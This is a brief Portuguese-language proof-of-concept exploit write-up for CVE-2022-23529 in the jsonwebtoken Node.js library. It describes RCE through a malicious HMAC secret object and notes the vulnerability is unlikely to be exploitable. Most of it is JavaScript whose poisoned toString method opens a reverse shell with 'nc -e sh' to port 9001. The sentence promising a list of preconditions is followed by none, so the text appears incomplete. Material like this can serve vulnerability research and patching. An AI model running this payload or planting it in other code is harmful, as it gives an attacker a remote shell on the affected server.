
Exploit de prova de conceito para CVE-2022-23529, demonstrando RCE em bibliotecas JWT vulneráveis via objetos de segredo HMAC maliciosos.
As versões da biblioteca JSON Web Token (JWT) anteriores a 3.4.6, 4.0.4 e 4.1.5 são vulneráveis a RCE.
As funções de hash HMAC aceitam qualquer string como entrada, o que leva a RCE.
Devido às pré-condições, essa vulnerabilidade não é provável de ser explorável.
Para explorar essa vulnerabilidade, um atacante precisaria que uma das seguintes condições fosse verdadeira:
var jwt = require('jsonwebtoken');
var token = jwt.sign({"x":"y"}, 'servers_secret');
var poisoned_secret_on_server = {
toString : ()=> {console.log('PWNED AFTER PASRSING TOKEN');
process.on('exit', ()=> {
require('child_process').exec('nc -e sh 127.0.0.1 9001');
});
process.exit(0)
}
}
jwt.verify(token, poisoned_secret_on_server);